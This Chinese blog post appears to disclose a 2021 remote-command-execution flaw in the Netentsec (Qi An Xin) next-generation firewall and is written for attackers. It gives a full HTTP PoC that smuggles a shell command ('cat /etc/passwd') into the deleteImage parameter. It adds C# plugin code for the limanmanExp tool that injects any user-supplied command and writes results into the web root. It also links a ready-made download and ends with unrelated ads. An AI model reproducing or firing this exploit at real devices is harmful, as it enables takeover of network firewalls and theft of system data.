2021年HW0day-奇安信 网康下一代防火墙 RCE漏洞细节

POC为POST 类型的HTTP 请求报文

POST /directdata/direct/router HTTP/1.1
Host: x.x.x.x
Connection: close
Cache-Control: max-age=0
sec-ch-ua: “Google Chrome”;v=“89”, “Chromium”;v=“89”, “;Not A Brand”;v=“99”
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://x.x.x.x/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 178

{“action”:“SSLVPN_Resource”,“method”:“deleteImage”,“data”:[{“data”:["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_test.txt"]}],“type”:“rpc”,“tid”:17,“f8839p7rqtj”:"="}
以上的poc部分header选择性增删改查。
payload为"data":[{“data”:["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_test.txt"]}],“type”:“rpc”,“tid”:17,“f8839p7rqtj”:"="} 部分。

结果获取
POC为http报文。发送之后访问https://xx.xx.xx.xx/test_test.txt 即可获得命令执行结果

基于LimanmanExp的攻击工具开发。
由于本漏洞的触发是基于HTTP 请求的，所以可以使用limanmanExp 进行攻击插件进行开发。
limanmanExp开发

构建url
public Dictionary<string, string> Poc_GetUrl(Dictionary<string, Dictionary<string, string>> data)
{//url
Dictionary<string, string> numberOfTime = new Dictionary<string, string>();
Dictionary<string, string> url = new Dictionary<string, string>();
url= data[“url”];
url[“url”] += “/directdata/direct/router”;
//do something
return url;

    }

构建header
public Dictionary<string, string> Poc_GetHeaders(Dictionary<string, Dictionary<string, string>> data)
{//headers
Dictionary<string, string> headers = new Dictionary<string, string>();
//do something
headers[“UserAgent”] = “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0”;
headers[“Accept”] = “text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9”;
headers[“Accept-Language”]= “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept - Encoding: gzip, deflate”;
headers[“ContentType”] = “application/x-www-form-urlencoded”;

        return headers;
    }

构建body
public Dictionary<string, string> Poc_GetBody(Dictionary<string, Dictionary<string, string>> data)
{//body
Dictionary<string, string> body = new Dictionary<string, string>();
//do something
if (data[“others”][“otherPayload”] != null && data[“others”][“otherPayload”] != “其他载荷”)
{
//数据来自于用户的输入，在主程序的首页第三个大文本框中。
data[“others”][“otherPayload”] = data[“others”][“otherPayload”].Replace(""", “\”").Replace("\", “\\”);
body[“body”] = “{“action”:“SSLVPN_Resource”,“method”:“deleteImage”,“data”:[{“data”:[”/var/www/html/d.txt;" + data[“others”][“otherPayload”] + " >/var/www/html/test_cmd.php"]}],“type”:“rpc”,“tid”:17,“f8839p7rqtj”:"="}";
}
else
{
body[“body”] = “{“action”:“SSLVPN_Resource”,“method”:“deleteImage”,“data”:[{“data”:[”/var/www/html/d.txt;" + “echo \”<?php phpinfo();\"" + " >/var/www/html/test_cmd.php"]}],“type”:“rpc”,“tid”:17,“f8839p7rqtj”:"="}";
}
return body;
}
设置limanmanEXP报文发送设置
public Dictionary<string, string> Poc_GetOther(Dictionary<string, Dictionary<string, string>> data)
{//othersInfo
Dictionary<string, string> other = new Dictionary<string, string>();
other = data[“others”];
if (other[“numberOfTime”] == “0”)
{//初始标识0
other[“numberOfTime”] = “2”;//发送post请求
//do something
}
else
{//结束标志0
other[“numberOfTime”] = “0”;

        }
        return other;
    }

如果你是懒人，请直接

链接：https://pan.baidu.com/s/1j-dMtJYiOk2Pfo7QoEXHMA
提取码：rw8l
USB Microphone https://www.soft-voice.com/
Wooden Speakers https://www.zeshuiplatform.com/
亚马逊测评 www.yisuping.cn
深圳网站建设www.sz886.com